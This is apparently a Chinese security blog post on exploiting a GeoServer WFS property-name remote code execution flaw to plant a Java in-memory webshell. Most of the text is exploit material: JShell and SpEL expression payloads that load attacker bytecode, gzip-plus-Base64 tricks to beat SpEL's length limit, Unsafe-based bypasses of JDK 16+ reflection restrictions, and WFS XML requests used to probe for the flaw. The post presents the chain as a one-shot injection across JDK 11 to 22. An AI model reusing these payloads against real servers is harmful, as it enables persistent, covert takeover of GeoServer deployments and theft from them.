在看到 yzddMr6 师傅的 《GeoServer property RCE注入内存马》之后的第一反应是,在 JDK 15 之后不再默认包含 JS 引擎的解析包了,这也就意味着 JDK 15 之后无法按照这个思路去写内存马。这篇文章将展示我当时对这个漏洞的其他内存马利用尝试的过程,最终决定了使用了 SpEL 表达式注入的方式成功注入了内存马,将利用的 JDK 版本提升到了 JDK 22。
在分析的过程中,发现 lib 中存在 BCEL 的 ClassLoader。
但是在调试 BCEL 表达式注入的过程中发现,简单的命令执行的 BCEL 表达式都无法执行。在调试之后发现,BCEL 表达式执行过程中 createClass 一定会报错,导致无法返回 clazz,也就无法加载任意类。本来以为可以简简单单的 BCEL 表达式注入在这里无法做内存马注入。
从 Java 9 开始提供了一个叫 JShell 的功能,JShell 是一个 REPL(Read-Eval-Print Loop) 命令行工具,提供了一个交互式命令行界面,在 JShell 中我们不再需要编写类也可以执行Java代码片段。
JShell 注入代码片段的 PoC
eval(build(jdk.jshell.JShell.builder()),'YOUR-JAVA-CODE')
由于受漏洞影响的版本的 GeoServer 的 JDK 版本是 11 -17,所以这里计划一部到位,随便绕过 JDK 16 开始的反射限制。
eval(build(jdk.jshell.JShell.builder()),' import sun.misc.Unsafe; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64; public class UnsafeTest { public static void test() { try { String payload = "Base64-PAYLOAD"; Class<?> unSafe=Class.forName("sun.misc.Unsafe"); Field unSafeField=unSafe.getDeclaredField("theUnsafe"); unSafeField.setAccessible(true); Unsafe unSafeClass= (Unsafe) unSafeField.get(null); Module baseModule=Object.class.getModule(); Class<?> currentClass= UnsafeTest.class; long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module")); unSafeClass.getAndSetObject(currentClass,addr,baseModule); Class<?> byteArrayClass = Class.forName("[B"); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byteArrayClass, int.class, int.class); defineClass.setAccessible(true); Class<?> calc= (Class<?>) defineClass.invoke(ClassLoader.getSystemClassLoader(), "attack", Base64.getDecoder().decode(payload), 0, Base64.getDecoder().decode(payload).length); calc.newInstance(); }catch (Exception e){} } } UnsafeTest.test();')
然而在后续的测试中发现,在此漏洞中 JShell 无法执行类中的方法或者静态代码块,故也放弃这条内存马注入的思路。
SpEL 注入内存马
SpEL 的 PoC 很好构造,需要注意的是 payload 中没有 # 和 {}。
toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"YOUR-SPEL-CODE")))
当我还默认以为可以直接使用 JMG 生成 SPEL 格式的内存马注入 payload 直接注入时发现一个异常:
org.springframework.expression.spel.SpelEvaluationException: EL1079E: SpEL expression is too long, exceeding the threshold of '10,000' characters
异常抛出的原因是 SpEL 的 payload 字符串长度超过了 10,000:Issue #30380 · Make maximum SpEL expression length configurable)[https://github.com/spring-projects/spring-framework/issues/30380],该值可以通过反射修改,缺点需要打两次请求。
org.springframework.expression.spel.ast.OperatorMatches#checkRegexLength
private void checkRegexLength(String regex) {
if (regex.length() > 1000) {
throw new SpelEvaluationException(this.getStartPosition(), SpelMessage.MAX_REGEX_LENGTH_EXCEEDED, new Object[]{1000});
}
}
通过观察 JMG 的 payload 我们可以看到,其中恶意字节码是直接使用 Base64 编码的。众所周知,class 文件经过一次 Base64 编码会使得恶意字节码字符串大小增加,这个时候我们可以考虑使用 gzip 先压缩 class 文件,接着再套一层 Base64 编码,这样可以大大缩小 SpEL 表达式的长度。
gzip + Base64 编码的 PoC
toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"T(org.springframework.cglib.core.ReflectUtils).defineClass('Calc',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('gzip + Base64')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()")))
这样即可直接完成内存马的注入。
文章到此依然没能完成对于高版本的反射限制,这里笔者发现,JMG 默认的反射操作是使用 ReflectUtils 的方法,在代码执行的一开始就会直接开始触发反射限制,笔者经过多种嵌套尝试都无法绕过。上文的 SpEL 方法适用版本止步于 JDK 15,JDK 16+ 的利用还要寄希望于绕过反射限制。多次注入后一直会出现报错 module java.base does not "opens java.lang" to unnamed module,而且即使将绕过代码添加进入注入器或者内存马内都依然出现此异常。
多次调试后发现,是来源于 ReflectUtils 反射操作的限制。也就说,只要绕过了这里的 setAccessible(true) ,本漏洞的利用即可完成 bypass JDK16+ 的反射限制,从而完成更高版本的内存马注入。
org.springframework.cglib.core.ReflectUtils#defineClass(java.lang.String,byte[],java.lang.ClassLoader, java.security.ProtectionDomain, java.lang.Class<?>)
然而,笔者一开始实际上一直没有发现问题可能出现在这里,在初期尝试的时候一直认为类似 module java.base does not "opens java.lang" to unnamed module 的报错是发生在 JMG Jetty 内存马加载的过程中的(②),而不是一开始的类加载 注入器 的过程中(①)。
这里给出解决的 Payload:
T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(java.util.Base64).getDecoder().decode('YOUR-BASE64'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName("org.springframework.expression.ExpressionParser"))
这个与一开始我设计的 Payload 的不同的地方在于,使用的底层 defineClass 的方法不同:
// 修改前的 Payload
public static Class defineClass(String className, byte[] b, ClassLoader loader)
// bypass JDK16+ 的 Payload
public static Class defineClass(String className, byte[] b, final ClassLoader loader, ProtectionDomain protectionDomain, final Class<?> contextClass)
其中类加载器不同;指定了 contextClass ;而且需要恶意类在 org.springframework.expression 包下。如此修改可以使得代码进入没有 setAccessible(true) 的分支,那么自然就没有反射的限制了,从而完成更高版本的内存马注入(①)。
目前位置我们需要做:
修改 SpEL 的 payload;
修改 JMG 内存马注入器的包名在 org.springframework.expression 下;我们到此为止解决了 ① 的问题,② 的问题就很容易解决了,参考第三点。
在恶意字节码(内存马)中添加反射绕过代码:
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Module module = Object.class.getModule();
Class cls = HelpUtils.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(cls, offset, module);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
可能会遇到的问题:
以上三步都很简单,但是在重新生成恶意类的 Base64 的时候大家可能还会遇到一个问题,即使使用了 gzip 压缩的方式,最终的 Base64 字符串依然超过了 10000 的长度限制。这里提供一个手动编译恶意字节码的一个小技巧,可以大大限制字节码的膨胀。(不生成调试信息,并在编译时显示未经检查的操作和已弃用代码的警告。)
javac -g:none .\YOUR-Evil.java -Xlint:unchecked -Xlint:deprecation
手动编译恶意字节码,gzip 压缩字节码后转换成 Base64 输出,将字符串填充到 Payload 中;
发送报文,一键注入内存马。
扩展
dnslog 检测:
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>java.net.InetAddress.getAllByName("")
</wfs:valueReference>
</wfs:GetPropertyValue>
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>java.lang.Thread.sleep(10000)
</wfs:valueReference>
</wfs:GetPropertyValue>
本文通过 SpEL 表达式执行的方式完成内存马注入攻击,完成了两处的 JDK 高版本反射限制,其中通过一个手动编译字节码的技巧和 gzip 压缩字节码的方式对最后的 Base64 进行压缩,最终完成了 JDK 11 - 22(经过测试) 的全版本 JDK 通杀。